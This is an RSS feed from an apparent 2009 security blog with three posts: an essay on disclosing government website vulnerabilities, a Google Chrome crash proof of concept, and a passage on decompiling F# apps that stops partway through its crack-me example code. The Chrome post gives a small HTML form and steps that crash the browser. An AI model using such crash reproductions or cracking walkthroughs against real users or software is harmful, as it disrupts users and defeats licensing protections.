<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Orchidseven Official Blog</title>
	<atom:link href="http://orchidseven.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://orchidseven.wordpress.com</link>
	<description>Engineering Defense</description>
	<lastBuildDate>Thu, 26 Mar 2009 06:18:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='orchidseven.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Orchidseven Official Blog</title>
		<link>http://orchidseven.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://orchidseven.wordpress.com/osd.xml" title="Orchidseven Official Blog" />
	<atom:link rel='hub' href='http://orchidseven.wordpress.com/?pushpress=hub'/>
		<item>
		<title>What&#8217;s on the webserver?</title>
		<link>http://orchidseven.wordpress.com/2009/03/26/whats-on-the-webserver/</link>
		<comments>http://orchidseven.wordpress.com/2009/03/26/whats-on-the-webserver/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 05:59:04 +0000</pubDate>
		<dc:creator>rajsm</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Reality Hacking]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=65</guid>
		<description><![CDATA[No other question has irked me more than this. What&#8217;s on the webserver? It all began few years ago when our team hit a jackpot of web application vulnerabilities on various Government websites of India. Well. We did not know what to do about it. Being techies, we had little or no sense of bureaucracy [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=65&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">No other question has irked me more than this. <strong><em>What&#8217;s on the webserver?</em></strong></p>
<p style="text-align:justify;">It all began few years ago when our team hit a jackpot of web application vulnerabilities on various Government websites of India. Well. We did not know what to do about it. Being techies, we had little or no sense of bureaucracy involved in this sector. After a few days of calling up people and trying to explain them, we decided to go the Open disclosure way, convincing ourselves that this was required for the larger benefit of Nation. And there we stood at a press conference surrounded by reporters who had no idea what this was all about. And to add a cherry on the pie, the videos we recorded to demonstrate them would not play. Some problem with the media player. Finally one old gentleman asked. &#8220;What&#8217;s on the webserver?&#8221; And he continued&#8230; &#8220;so, you got inside.. well, that information is available even if I go and register on the site. What is so special? And with that information what can go wrong? After all they are just pages.. we get this info anyway..&#8221;</p>
<p style="text-align:justify;">He had a point. But then how could I explain that a common man was not supposed edit details of things like tenders put up or send administrative mails that could impact a lot of people? It was a damp squid in the end. What we thought of as a major disclosure was shrugged off as weird teenagers wasting time.</p>
<p style="text-align:justify;">Dejected, we watched these very Government websites being hacked over time during cyber warfares. Fast forward to present&#8230;</p>
<p style="text-align:justify;">I read about <a title="Hacker's Blog - This is the End" href="http://www.hackersblog.org/2009/03/24/this-is-the-end/" target="_blank">Hackers Blog</a> discontinuing their fantastic work. I am not surprised.  This month, on Friday the 13th (hehe), I went ahead on TV9 Channel and disclosed that BSNL website was vulnerable. Showed a webshell which was uploaded by someone and explained how dangerous it was for all their customers even to visit the BSNL website. They were informed almost six months back. I even met the right people in their head office to explain the problem. But the same question popped up again&#8230; &#8220;What&#8217;s on the webserver?&#8221;</p>
<p style="text-align:justify;">On one side, our good ol&#8217; politician Mr.L.K.Advani promises of setting up DSA, focus on e-governance, ensure broadband is given at every home and what not&#8230; and then we have our IT-ACT law amendment which was passed few months back without a protest. I can&#8217;t help but think&#8230; how much would our ignorance cost us over time?</p>
<div id="attachment_67" class="wp-caption aligncenter" style="width: 726px"><img class="size-full wp-image-67" title="superhackers-advani" src="http://orchidseven.files.wordpress.com/2009/03/superhackers-advani.png?w=716&#038;h=325" alt="rajsm meets Advani!" width="716" height="325" /><p class="wp-caption-text">rajsm meets Advani!</p></div>
<p style="text-align:justify;">Here, I would like to mention a special body. It goes by the name of CERT. If you ask me personally, I would like to play Rambo&#8217;s First Blood with them. They never bother to reply to any of your incident reporting or e-mails. They just sit on it and wait for it to hatch. Truly. Try talking to them.</p>
<p style="text-align:justify;">Someday when we have everything on the cloud, I would like to see what happens when a hacker alters medical records of patients, and the nurse administers the wrong dose after checking the portal.</p>
<p style="text-align:justify;">So what can we do? What can be done? In my view&#8230; we are saving them millions on assessments by giving them free knowledge of vulnerabilities. On the other hand, since it&#8217;s Government of the people, for the people, by the people, then why don&#8217;t we have the right to test and know if our sites are secure or not? As tax-payers, what is the assurance we can get on security of Government websites that hold all information and details about us and our Nation?</p>
<p style="text-align:justify;">Here are something&#8217;s that must change:</p>
<p style="text-align:justify;">1. Government websites must adhere to highest standards of Information security. The webmasters maintaining them must be held accountable if they fail to secure their servers over time after being informed with all details.</p>
<p style="text-align:justify;">2. Corporate companies with a business presence in India must ensure their best to rectify / resolve security issues once it is brought to their notice. It should be a legal offence if they fail to address it in given time.</p>
<p style="text-align:justify;">3. Open disclosures must be legalized, encouraged and a process must be setup to effectively utilize it&#8217;s advantages.</p>
<p style="text-align:justify;">4. The Police / Cyber crime cell must undertake and support programs and organizations that work towards greater awareness of cyber crimes among teenagers and school students.</p>
<p style="text-align:justify;">5. IT Act Laws must be drafted / amended after consulting experts from Industries and must have more options to embrace feedback to adapt as needed.</p>
<p style="text-align:justify;">I hope as responsible netizens, we take steps to ensure a safer future of the community in the coming years  before it&#8217;s too late. And not get to hear the question&#8230; &#8220;What&#8217;s on the webserver?&#8221; again.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/65/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/65/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/65/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=65&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2009/03/26/whats-on-the-webserver/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1a49f658dde72f5f62e272a99b3bc536?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">rajsm</media:title>
		</media:content>

		<media:content url="http://orchidseven.files.wordpress.com/2009/03/superhackers-advani.png" medium="image">
			<media:title type="html">superhackers-advani</media:title>
		</media:content>
	</item>
		<item>
		<title>Google Chrome &#8220;input type=file&#8221; Based Memory Corruption Bug PoC.</title>
		<link>http://orchidseven.wordpress.com/2009/01/11/google-chrome-input-typefile-based-memory-corruption-bug-poc/</link>
		<comments>http://orchidseven.wordpress.com/2009/01/11/google-chrome-input-typefile-based-memory-corruption-bug-poc/#comments</comments>
		<pubDate>Sun, 11 Jan 2009 09:24:16 +0000</pubDate>
		<dc:creator>atulcherian</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=20</guid>
		<description><![CDATA[Tested on Version : 1.0.154.36 By : Atul Alex Cherian. ( atul.alex [at] orchidseven.com )   Google Chrome completely crashes due to &#8220;Access Violation&#8221; exception if the user right-clicks any file in the &#8220;Open File&#8221;  dialog that pops-up, twice within same tab  or other tabs.If you select any file once, right-click it, &#38; select any option&#8230; then either [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=20&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span id="more-20"></span>Tested on Version : 1.0.154.36</p>
<p>By : Atul Alex Cherian. ( atul.alex [at] orchidseven.com )</p>
<p> </p>
<p><span> </span>Google Chrome completely crashes due to &#8220;Access Violation&#8221; exception if the user</p>
<p>right-clicks any file in the &#8220;Open File&#8221;  dialog that pops-up, twice within same tab </p>
<p>or other tabs.If you select any file once, right-click it, &amp; select any option&#8230;</p>
<p>then either click &#8220;Open&#8221; or &#8220;Cancel&#8221;&#8230;&amp; try to do the same again, Memory corruption</p>
<p>occurs causing all the tabs &amp; the entire Browser to Crash.</p>
<p> </p>
<p><strong>How to test this PoC:</strong></p>
<p>1] Save the below code as an html file &amp; open </p>
<p>   in Google chrome.</p>
<p>2] Click the first &#8220;Choose File&#8221;, select</p>
<p>   any folder or file, right-click n select</p>
<p>   &#8220;properties&#8221;.Then cancel the &#8220;Open&#8221; dialog</p>
<p>    box.</p>
<p>3] Click the second &#8220;Choose File&#8221;, select</p>
<p>   any folder or file,&amp; simply right-click </p>
<p>   to see Google Chrome Crash due to </p>
<p>   &#8220;Access Violation&#8221;.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p><strong>PoC Html file:</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&lt;html&gt;</p>
<p>&lt;form name=form1&gt;</p>
<p>&lt;input type=file name=&#8221;aodrulez1&#8243;&gt;</p>
<p>&lt;input type=file name=&#8221;aodrulez2&#8243;&gt;</p>
<p>&lt;/form&gt;</p>
<div>&lt;/html&gt;</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/orchidseven.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/orchidseven.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/orchidseven.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/orchidseven.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/orchidseven.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/orchidseven.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/orchidseven.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/orchidseven.wordpress.com/20/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=20&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://orchidseven.wordpress.com/2009/01/11/google-chrome-input-typefile-based-memory-corruption-bug-poc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/521ac755f0f7b5b43df050f10bf2b0f6?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">atulcherian</media:title>
		</media:content>
	</item>
		<item>
		<title>Reverse Engineering “Microsoft F#”.</title>
		<link>http://orchidseven.wordpress.com/2009/01/11/reverse-engineering-%e2%80%9cmicrosoft-f%e2%80%9d/</link>
		<comments>http://orchidseven.wordpress.com/2009/01/11/reverse-engineering-%e2%80%9cmicrosoft-f%e2%80%9d/#comments</comments>
		<pubDate>Sun, 11 Jan 2009 09:19:15 +0000</pubDate>
		<dc:creator>atulcherian</dc:creator>
				<category><![CDATA[1]]></category>

		<guid isPermaLink="false">http://orchidseven.wordpress.com/?p=36</guid>
		<description><![CDATA[Author : Atul Alex ( atul.alex [at] orchidseven.com )           F# is another programming language added to the already crowded .NET Framework.F# is promising though! It is said to encompass functional programming as well as imperative object-oriented programming disciplines.       So far so good&#8230;. but the question that I have is&#8230; Why mix [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=orchidseven.wordpress.com&amp;blog=2391395&amp;post=36&amp;subd=orchidseven&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><strong></strong></p>
<p><strong></strong></p>
<p><strong> </strong></p>
<p class="MsoNormal">Author : Atul Alex ( atul.alex [at] orchidseven.com )</p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">F# is another programming language added to the already</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">crowded .NET Framework.F# is promising though! It is said to</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">encompass functional programming as well as imperative </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">object-oriented programming disciplines.</span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">So far so good&#8230;. but the question that I have is&#8230;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Why mix it with .NET? Yeah&#8230;maybe .NET apps are easy to code</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">..maybe they are GUI-wise amazing&#8230;. Portable, since its again</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">similar to Java&#8230;all you need is .NET framework to run them&#8230;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&amp; so on n on&#8230; but dear M$&#8230; portability comes with a price!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span><span style="font-weight:normal;"> </span></span><span style="font-weight:normal;">There can be tonnes that I&#8217;d like to mention..but lemme</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">concentrate on only one such price that one has to pay if they</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">are tryin to achieve portability the Java way! And what am</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">talking about is &#8220;Reverse Engineering&#8221;..or rather.. I should</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">put it as &#8220;Ease in Reverse Engineering&#8221;.First, lets analyze the</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&#8220;Portability Technique&#8221; thats being used here.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Portability Technique:</strong></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">The basic idea here is to have three major components..</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">1] Programming Language</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">2] Intermediate Form of Code.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">3] Framework.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Now how this works is simple.The Programming Language</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">is designed in such a way that when you compile it.. Machine </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Code is not generated unlike rest of the programming Languages</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">out there&#8230; instead&#8230; its converted to an Intermediate Form</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">(ByteCode in case of Java &amp; IL in case of .NET).Now a computer</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">can understand what to do only if its in Machine Language&#8230;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">so its understood that this Intermediate Form is completely</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&#8220;Crap&#8221; to the computer.This is where the FrameWork comes into</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">play&#8230; Each time you run such an application, something called</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">as J-I-T&#8230; Just in Time Compiler..is called in.This is a part</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">of the Framework &amp; the sole purpose of this app is to compile</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">the Intermediate Form into Machine specific code &amp; then execute</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">it.Benefit of this technique?.. u guessed it!&#8230; Portability.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Okies, that was a pathetic way to describe the whole thing</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">but the sum-n-substance of it is correct.How is Protability </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">achieved? See&#8230; each time you compile an app in this Programming</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Language&#8230; you always endup with Intermediate Form.This is</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">common for all platforms&#8230; Now its the job of the Framework to</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">make it work on a particular platform.So the only thing that has</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">to be done is to code a Platform-Specific Framework&#8230;n thats it!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">All applications you code using this Programming Language can</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">run on all Platforms&#8230;.for which the Framework has been </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">developed. </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Downside?</strong></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Each application that you code &amp; compile is in the</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Intermediate-Form.And what you distribute as an app is actually</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">this Intermediate Form of your code.The problem with this is&#8230;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Decompilation!</strong></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Usually the applications coded in C/C++,Delphi etc contain</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Machine Language Code.So we run a Disassembler on these &amp; ultimately</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">end-up with the code of this applicaiton in Assembly Language Form.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Since goin through lots n lots of assembler code is really a </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Head-Ache.. ripping out parts of your code &amp; then converting them</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">into C/C++ equivalent code is a really tedious thing to be doing.</span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Now the problem with our Portable Programming Language is</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">that&#8230;the Intermediate Language has got its own OpCode &amp; since</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">this is not Machine specific..u cannot Disassemble this code.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">What I mean by this is.. if you put it through a Disassembler,</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">most of the Assembly Listing that you&#8217;ll get will be bogus&#8230;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">But thats a Blessing in Disguise! since this Intermediate Form</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">has got its own OpCodes, if we have detailed info about the </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">structure of this Intermediate Form, we can code Decompilers for</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">it!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Decompiler?</strong></span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">A decompiler is a Tool that can go through a Programming</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Languages&#8217; Intermediate form &amp; produce the actual &#8220;Source-Code&#8221;.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Yeah&#8230;u read it right&#8230;Source-Code! Most of the times, even</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Variable &amp; Function names are preserved!Its just like a </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Disassembler..but also different in a lot of ways.For starters&#8230;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">its &#8220;Programming Language&#8221; Specific.That means you can&#8217;t use a Java</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Decompiler for an app coded in .NET .</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">So,if a Programming Language uses this &#8220;Portability Technique&#8221;,</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">technically, a Decompiler can be written no matter how cryptic the</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Intermediate Form might be.That sounds grave does&#8217;nt it? So whats all</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">this got to do with F#?? Everything!&#8230;..</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">As i said in the Beginning itself, F# has been made .NET</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Compliant.. that means&#8230;once compiled.. it&#8217;ll be in the IL form.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">And there are tools already out there that can Decompile .NET Apps.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">One of my Favourites is &#8220;.NET Reflector&#8221;.Its free, powerful, &amp;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">has got plugins too!</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Lets Reverse an F# App&#8230;.</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span><span style="font-weight:normal;">      </span></span><span style="font-weight:normal;">Since this is just a PoC Paper&#8230; lets code an App in F#</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">&amp; try to break (crack!) it.Quick search over internet shows that</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Visual Studio (.NET one) is needed to code apps in F# easily.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">A little more tinkering around showed me that all you really need</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">to code an F# app is its compiler.you really don&#8217;t need to install</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">the overbloated Visual Studio to make our small PoC application.</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">Just Download the compiler, install it &amp; you are ready to have some</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">fun.</span></span></p>
<p class="MsoNormal"> </p>
<p class="MsoNormal"><span><span style="font-weight:normal;"><strong>Here is the Code for our PoC App:</strong></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">(Save as Aodrulez.fs)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">#light</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">open System</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">open System.Windows.Forms</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let form = new Form()</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">form.Width</span><span><span style="font-weight:normal;">  </span></span><span style="font-weight:normal;">&lt;- 170</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">form.Height &lt;- 130</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">form.Visible &lt;- true </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">form.Text &lt;- &#8220;Aodrulez&#8221;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">// Menu bar, menus </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let mMain = form.Menu &lt;- new MainMenu()</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let mFile = form.Menu.MenuItems.Add(&#8220;&amp;File&#8221;)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let mabout = form.Menu.MenuItems.Add(&#8220;&amp;About&#8221;)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let miQuit</span><span><span style="font-weight:normal;">  </span></span><span style="font-weight:normal;">= new MenuItem(&#8220;&amp;Quit&#8221;)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">mFile.MenuItems.Add(miQuit)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let btn1 = new Button()</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">do btn1.Text &lt;- &#8220;Register&#8221;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">do btn1.Location &lt;- new System.Drawing.Point(42,40)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">do form.Controls.Add(btn1)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">// TextBox</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">let textB = new TextBox()</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">//textB.Dock &lt;- DockStyle.Fill</span><span><span style="font-weight:normal;">  </span></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">textB.Text &lt;- &#8220;</span><span><span style="font-weight:normal;">  </span></span><span style="font-weight:normal;">Enter Code Here.&#8221;</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">do textB.Location &lt;- new System.Drawing.Point(30,10)</span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">form.Controls.Add(textB)</span><span><span style="font-weight:normal;">    </span></span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;"> </span></span></p>
<p class="MsoNormal"><span><span style="font-weight:normal;">// callbacks </span></span></p>
